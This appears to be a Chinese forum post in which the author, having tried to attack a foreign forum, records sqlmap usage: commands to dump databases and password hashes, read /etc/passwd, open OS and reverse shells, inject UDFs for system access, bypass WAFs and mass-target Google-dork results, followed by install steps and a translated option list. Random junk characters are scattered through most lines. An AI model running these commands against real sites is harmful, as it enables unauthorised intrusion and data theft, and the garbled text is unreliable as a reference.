今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
; z* ?4 B6 g+ S. wsqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
" B9 L, w" _) B' q6 Dsqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名7 H7 j, ~' X# L) Y6 ?4 o
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段& @: _1 Q" I# v" ~4 h- W. [
" ~6 W# a5 D2 W8 ~; V3 S6 W" B7 Osqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name”-D “db_name”-v' l7 O+ C8 R% H5 _' H$ Z
0 #获取字段内容+ E1 P8 g! t- B. s4 }2 K
0 `$ A( b }2 p2 r1 s******************信息获取******************
& T! {2 p7 e6 d% `6 _0 V# ?, R3 Qsqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
0 g0 _8 r5 `8 ksqlmap -u “http://url/news?id=1″ –users #列数据库用户
7 i1 Q( L W/ u5 Bsqlmap -u “http://url/news?id=1″ –dbs#列数据库
% T5 t/ n1 F: Psqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码: U) w! [6 R6 v/ Q9 d1 p
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码- y) S: n6 f1 Y0 L
sqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename”-D “db_name”. v5 W; b [9 u% j% Y3 M
–start 1 –stop 20 #列出指定字段,列出20 条
) T7 f2 Z% `" Fsqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
+ [0 u$ C4 [( F" w! C1 m/ W6 esqlmap -u “http://url/news?id=1″ –privileges #查看权限) m' E! H0 H6 V/ Y# c4 m" v$ w1 i
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色0 d- o. ~( S; W; K& d N8 a
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)& K" [7 s0 _2 g/ e2 X! J% Z
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表* c! n) r6 _8 B6 V
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录, K2 ^8 u1 ^4 }$ ?. B4 ~
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
, A' K; a- U% R: e0 V. L- Qsqlmap -u “http://url/news?id=1″-b #获取banner信息" f% n: y3 m* K' _8 o
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入2 J. o4 x: F; L0 o" w
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
F; v$ A* b3 W3 C Vsqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
3 P" T1 g9 \( p2 u3 Dsqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词; b2 _) f6 N3 n0 J) l; W \
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令0 n F- w+ V. g9 g* Q B
sqlmap -u “http://url/news?id=1″ –file /etc/passwd
2 y+ F1 h' f: [9 [$ o l& u% {sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令: c2 Q7 M' D9 w: w( D2 w4 y; M
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell- c0 M7 R, [# S7 h+ H. F
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表 f6 Y# _9 h$ K" T- q( e2 Z/ V
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
0 M1 |; N! Q' t1 {* z8 jsqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度/ C3 J! @4 [, |. K" D- I v
***********高级用法*************' l5 [" r2 J, C- m+ y+ J
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
y% W3 I0 L6 s8 A4 z# s* _6 x: `sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段 需保证google.com能正常访问; _4 ?1 h9 A% b; A$ o K
–technique 测试指定注入类型\使用的技术
z0 x) A/ {5 H. a: D5 H$ C不加参数默认测试所有注入技术: v9 E. x. y. w& g1 r, F
• B: 基于布尔的SQL 盲注
: _ }( c s1 Z5 @# @, d# P, C• E: 基于显错sql 注入0 k& G( A# g$ D$ ~
• U: 基于UNION 注入7 a" K6 a, V7 {7 \
• S: 叠层sql 注入
, @& B7 y9 B; J, u8 Z) U* ]• T: 基于时间盲注
/ {8 J6 g7 C o; R; V–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()% \7 Y8 n2 R' [8 G$ p1 u
–tamper 插件所在目录6 N$ u6 f8 D, t/ C; d# W8 `- G! U. J
\sqlmap-dev\tamper* _# Z- j8 v7 L9 C
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能) o3 j7 p7 t. `( m9 \
level 执行测试等级 攻击实例:3 I0 _. {% ^0 k* ?
Sqlmap -u “http://url/news?id=1&Submit=Submit”
/ x! g0 h! ?, r1 |–cookie=”PHPSESSID=41aa833e6d0d
$ l: ]" X6 ]( D. d28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user8 g8 n5 W# _- ^5 r K! d
–password
3 u- c! k3 B8 Y8 R参考文档:http://sqlmap.sourceforge.net/doc/README.html3 M/ `1 m6 a& v- t% M G3 S
***********安装最新版本*************
: K! c; y3 C7 h! J/ P7 w5 o& T2 Yubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版) R: Z* }$ B) K; T
sudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev2 d% p8 o' p' B
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件3 H( v8 a' U9 A5 f
sudo vim /home/当前用户/.bashrc
2 M7 O% u% b; I: T#任意位置加上:" s! ^) P& z; g: \6 r2 T& E. r0 L* ?
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效& E1 _: P, h9 X3 S1 t" {5 b' P
如果想对所有用户有效 可设置全局 编辑下面的文件
. Q* h6 I5 x! Y6 j8 _6 r6 svim /etc/profile
$ \1 D* }! U3 f; I同样加上:& p9 S4 U: O8 y
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效) {5 I+ z! U! B) _
******************windows 7 (x64) sqlmap install (SVN)************
9 j u# d* P3 f! z$ B' l5 f# K, ?http://www.python.org/getit/ 安装python( `+ e6 _6 C. [- s3 `; z0 a+ \6 C
http://www.sliksvn.com/en/download 安装windows svn client
7 V9 H# R* I/ {* f/ e0 Asvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev& ^; b: L# A$ n% ]6 F( ?
安装sqlmap
5 m! D3 a$ O% [3 k# I/ `*修改环境变量 K: \' `4 \ o6 ?- t" T; M8 u! @
–version 显示程序的版本号并退出
: V, g1 ]' t, A# J ?-h, –help 显示此帮助消息并退出! A* Y& y6 |& L5 k9 \3 H# a3 Q b* b
-v VERBOSE 详细级别:0-6(默认为1)9 b u- t( H3 t' \- S: G
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。: J0 n( A6 y% Q! F2 E. J
-d DIRECT 直接连接到数据库。
5 ?& `# u: v8 ]: v. }-u URL, –url=URL 目标URL。
7 L* |5 O8 Q# {! y- F1 W-l LIST 从Burp 或WebScarab 代理的日志中解析目标。; G; s0 E- D1 u) Y; k( |, k9 @
-r REQUESTFILE 从一个文件中载入HTTP 请求。: f0 C+ d1 p- {' q
-g GOOGLEDORK 处理Google dork 的结果作为目标URL。
?2 c' ^& z- b1 Y8 N: R% o; j-c CONFIGFILE 从INI 配置文件中加载选项。- R8 F. l. a4 Q# w. j$ h
Request(请求)::
; M+ l& V7 M( X这些选项可以用来指定如何连接到目标URL。1 V9 d1 C# L0 W z9 a1 L
–data=DATA 通过POST 发送的数据字符串
5 [* Y6 A7 ~/ m5 a–cookie=COOKIE HTTP Cookie 头# a! C! t. D/ \5 }5 K+ J" H3 z2 N
–cookie-urlencode URL 编码生成的cookie 注入( a8 m' J9 H6 C! z+ E4 h
–drop-set-cookie 忽略响应的Set –Cookie 头信息. l* V: i- I3 f' J9 N& i
7 N3 w% I$ s" g, L–user-agent=AGENT 指定 HTTP User –Agent 头0 x1 }* Q* o. [$ j. J6 c6 }- Q
–random-agent 使用随机选定的HTTP User –Agent 头$ W$ @# p) ]" R9 l# o2 ?& J9 u+ {
–referer=REFERER 指定 HTTP Referer 头
$ \5 I. k! S/ J; `) w, X–headers=HEADERS 换行分开,加入其他的HTTP 头
1 K/ |9 `( T. P s1 R5 l–auth-type=ATYPE HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)6 K. y- w8 v4 c, p4 G' T
–auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)
' J, H2 ~# {/ L/ \–auth-cert=ACERT HTTP 认证证书(key_file,cert_file)) z4 B3 J+ F3 a$ X
–proxy=PROXY 使用HTTP 代理连接到目标URL# p( A! }( j1 `
–proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)9 p$ M" e3 Y( @/ X1 y' i
–ignore-proxy 忽略系统默认的HTTP 代理$ U4 \: k7 |, r; F; B. E+ ^0 |
–delay=DELAY 在每个HTTP 请求之间的延迟时间,单位为秒
) A( t( Z7 l0 d! x6 A# X–timeout=TIMEOUT 等待连接超时的时间(默认为30 秒)
5 x# F9 B; C6 u7 L J* t V: h0 f–retries=RETRIES 连接超时后重新连接的时间(默认3)( b) d' a7 }9 W0 w. j! _
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
2 ]- I# x0 G( l& ?–safe-url=SAFURL 在测试过程中经常访问的url 地址
8 p4 T5 |" b1 `, M0 T* ]–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
/ U) H' y+ i eOptimization(优化): 这些选项可用于优化SqlMap 的性能。
3 Z! q& B) ]# d: ^# ~-o 开启所有优化开关
, {: b" Q Q8 q5 }, T–predict-output 预测常见的查询输出
1 D0 a( `6 o0 l2 h( _6 h–keep-alive 使用持久的HTTP(S)连接1 H; |$ c' u( N9 j0 n+ F
–null-connection 从没有实际的HTTP 响应体中检索页面长度. R" s+ z, a. `& M; ^+ c
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)% t. g/ V( e3 T' g& w6 s M
Injection(注入):$ ?) H( E0 z1 \
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads 和可选篡改脚本。
; z$ l/ F* ^% G-p TESTPARAMETER 可测试的参数(S); [% M) a5 y, d: r& a
–dbms=DBMS 强制后端的DBMS 为此值- @: ^6 j4 P6 l% R# W% `$ Z! A
–os=OS 强制后端的DBMS 操作系统为这个值* Z9 F- C/ v2 C7 N1 R( h+ n# n
–prefix=PREFIX 注入payload 字符串前缀
+ c+ G( ]& {& }8 F2 U4 E–suffix=SUFFIX 注入 payload 字符串后缀8 F) Z% `3 F% `8 x2 E) y4 }6 P7 Z+ j
–tamper=TAMPER 使用给定的脚本(S)篡改注入数据
4 @$ E3 O5 O; t) M2 w- v$ Q! a/ x: S, kDetection(检测):
[6 ^/ U3 w3 T2 v; @+ a这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
/ c% R7 z# h) t( d1 P–level=LEVEL 执行测试的等级(1-5,默认为1)! N. s. I0 }. t( d1 I |1 D" f
–risk=RISK 执行测试的风险(0-3,默认为1)
Y$ j, {# Y( f2 W–string=STRING 查询时有效时在页面匹配字符串
- C, A. j8 [+ L% [–regexp=REGEXP 查询时有效时在页面匹配正则表达式
, N r) L% J) j9 F–text-only 仅基于在文本内容比较网页
8 t1 Z" R. x% Z d( o1 @2 O+ w$ FTechniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
# i; u# E; [& i4 D3 u5 {–technique=TECH SQL 注入技术测试(默认BEUST)5 w" W$ Q* u% t
–time-sec=TIMESEC DBMS 响应的延迟时间(默认为5 秒)
' L9 r' x/ p _' O4 ]–union-cols=UCOLS 定列范围用于测试UNION 查询注入5 F4 T- C/ t) @ E! V) V4 s7 P
–union-char=UCHAR 用于暴力猜解列数的字符+ U6 R; ]* a5 \& S T$ S
Fingerprint(指纹):
7 M& W/ ~" h. x' H( \) j- u9 \1 v-f, –fingerprint 执行检查广泛的DBMS 版本指纹8 @1 `: w* `" l! y9 i) e
Enumeration(枚举):
2 v: [6 M3 v X& }# d - a6 Z. T, G* J
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
: I* o: M, y% l7 l9 D-b, –banner 检索数据库管理系统的标识
% W! s6 x2 |6 e8 u) R( _–current-user 检索数据库管理系统当前用户8 O0 j2 `2 I* C+ a3 ?# g5 L, w
–current-db 检索数据库管理系统当前数据库
. b3 N* [ b* W8 m% a4 i9 }–is-dba 检测DBMS 当前用户是否DBA$ z, i2 x( E9 i1 m( U
–users 枚举数据库管理系统用户 G( Q6 z( K# i" j" n7 `
–passwords 枚举数据库管理系统用户密码哈希
. r1 D( {) n! h–privileges 枚举数据库管理系统用户的权限1 b8 `. \; p2 N4 E/ Q4 s
–roles 枚举数据库管理系统用户的角色5 L" ]; ?8 i* G# z e: N+ o
–dbs 枚举数据库管理系统数据库3 o6 c# A- \. u+ _0 w% i" `
–tables 枚举的DBMS 数据库中的表' B) Z: t) g5 L- R( l
–columns 枚举DBMS 数据库表列. a- u5 e6 N( q! j6 R5 e# A
–dump 转储数据库管理系统的数据库中的表项
# l! [6 h- c K( d0 p1 R–dump-all 转储所有的DBMS 数据库表中的条目
( L# E) d5 _; c( Q* Z, R–search 搜索列(S),表(S)和/或数据库名称(S). b8 @0 s2 W% ?' I! e
-D DB 要进行枚举的数据库名
" [' }9 a+ A6 v' T! ^$ m; b-T TBL 要进行枚举的数据库表& z% @) ]$ \* N) B. ~ C1 G
-C COL 要进行枚举的数据库列
& H. V+ D0 H+ k: z/ a3 E; T-U USER 用来进行枚举的数据库用户
3 u, z5 b8 F8 Y1 z% j–exclude-sysdbs 枚举表时排除系统数据库
; \* F1 Q* i* A# A, w3 }# f–start=LIMITSTART 第一个查询输出进入检索
; h/ ^, H- j" q/ V3 f–stop=LIMITSTOP 最后查询的输出进入检索% J2 R: ^ Z) z' b3 I
–first=FIRSTCHAR 第一个查询输出字的字符检索& p7 u! ?7 i6 I6 m) S8 k" ?
–last=LASTCHAR 最后查询的输出字字符检索/ [: F1 `9 c7 t7 v# K% W) b
–sql-query=QUERY 要执行的SQL 语句1 B' x# b6 ~5 Y5 @8 O) q; ^
–sql-shell 提示交互式SQL 的shell. u1 D3 l9 t0 Y6 ]- c
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。2 ^! d7 u! b0 F
–common-tables 检查存在共同表
, [6 r0 U( f7 a: V8 j/ r–common-columns 检查存在共同列" }- `4 |4 S" I* x1 o/ y& ]
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
+ ], F" p% b8 W* \' x( {–udf-inject 注入用户自定义函数8 B g3 P/ G# ~9 I
–shared-lib=SHLIB 共享库的本地路径+ v6 \; \0 N4 c- ~
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
, C% i& R& P$ Q D: t+ ~–file-read=RFILE 从后端的数据库管理系统文件系统读取文件3 n" H8 M0 f5 C
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件: ]1 N7 r7 v, k; i4 M9 p, r
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径$ E7 T& X( }/ z: x* h& Z' E
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。0 y/ k# {, t" s+ j1 U
–os-cmd=OSCMD 执行操作系统命令4 H; s+ M0 h* Q# T* K
–os-shell 交互式的操作系统的shell
4 F+ A# ~$ a/ G. X( @ Q–os-pwn 获取一个OOB shell,meterpreter 或VNC- ]9 E; @: ^, H! C$ k8 i5 l
–os-smbrelay 一键获取一个OOB shell,meterpreter 或VNC! v) J& k9 n4 C$ @( P" ?
–os-bof 存储过程缓冲区溢出利用1 w5 h3 V. a5 y( m
–priv-esc 数据库进程用户权限提升
' d, b6 s3 B7 ?) F$ [1 o: R4 \, |–msf-path=MSFPATH Metasploit Framework 本地的安装路径2 a6 E* X% Q4 d, p, E" k( R
–tmp-path=TMPPATH 远程临时文件目录的绝对路径- d! a! Y7 }$ O# i% @6 W
" _+ T' X2 g; s0 A2 E
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。4 R1 b8 G, I1 O: |- C
–reg-read 读一个Windows 注册表项值, \" n* ^4 q- G& Y; n
–reg-add 写一个Windows 注册表项值数据! X8 D" s6 F3 u3 q, A0 `& J
–reg-del 删除Windows 注册表键值
8 E/ r" {' _$ |! V+ J- n–reg-key=REGKEY Windows 注册表键+ V1 F: @ W0 \* ^: E
–reg-value=REGVAL Windows 注册表项值
- _0 R. y: A2 H, {1 Z–reg-data=REGDATA Windows 注册表键值数据
! @3 K* I4 J. ]8 P* X: L: I X' J–reg-type=REGTYPE Windows 注册表项值类型
# v' s' d9 `0 s" aGeneral(一般): 这些选项可以用来设置一些一般的工作参数。
" p, \( `( v, y3 V9 }8 x2 ~-t TRAFFICFILE 记录所有HTTP 流量到一个文本文件中
" {; L, M( c, T: D H8 N-s SESSIONFILE 保存和恢复检索会话文件的所有数据
2 p& F1 [/ r( L0 T* g3 Y–flush-session 刷新当前目标的会话文件
& g7 r* | u$ F# [) w–fresh-queries 忽略在会话文件中存储的查询结果5 Y1 }3 L: l0 w( l: W
–eta 显示每个输出的预计到达时间+ \! H# h; W8 i) C% L' Q9 w
–update 更新SqlMap' S2 r9 O, L$ O1 m2 ~
–save file 保存选项到INI 配置文件
3 @! G" v6 I- P3 T% A" ]' Z2 Y–batch 从不询问用户输入,使用所有默认配置。
, p0 Z- J ]. S yMiscellaneous(杂项):
& c' c: o; V/ h, U# U–beep 发现SQL 注入时提醒
4 c: z9 A3 o% F! j& R–check-payload IDS 对注入payloads 的检测测试
; q7 u q4 {% T% s' Z* w6 ?, _–cleanup SqlMap 具体的UDF 和表清理DBMS
, T" Q* L8 @/ o, {! ^/ u8 W8 ~–forms 对目标URL 的解析和测试形式% M# P2 f S: }8 T
–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork 结果
0 E- a: s+ ?/ |' @9 y* k–page-rank Google dork 结果显示网页排名(PR)
/ f5 S0 o9 K3 Y–parse-errors 从响应页面解析数据库管理系统的错误消息8 v- Z4 s; t" r3 i
–replicate 复制转储的数据到一个sqlite3 数据库* B' A7 D8 m# w* ?# P
–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
: i) t3 ^/ p% y–wizard 给初级用户的简单向导界面 |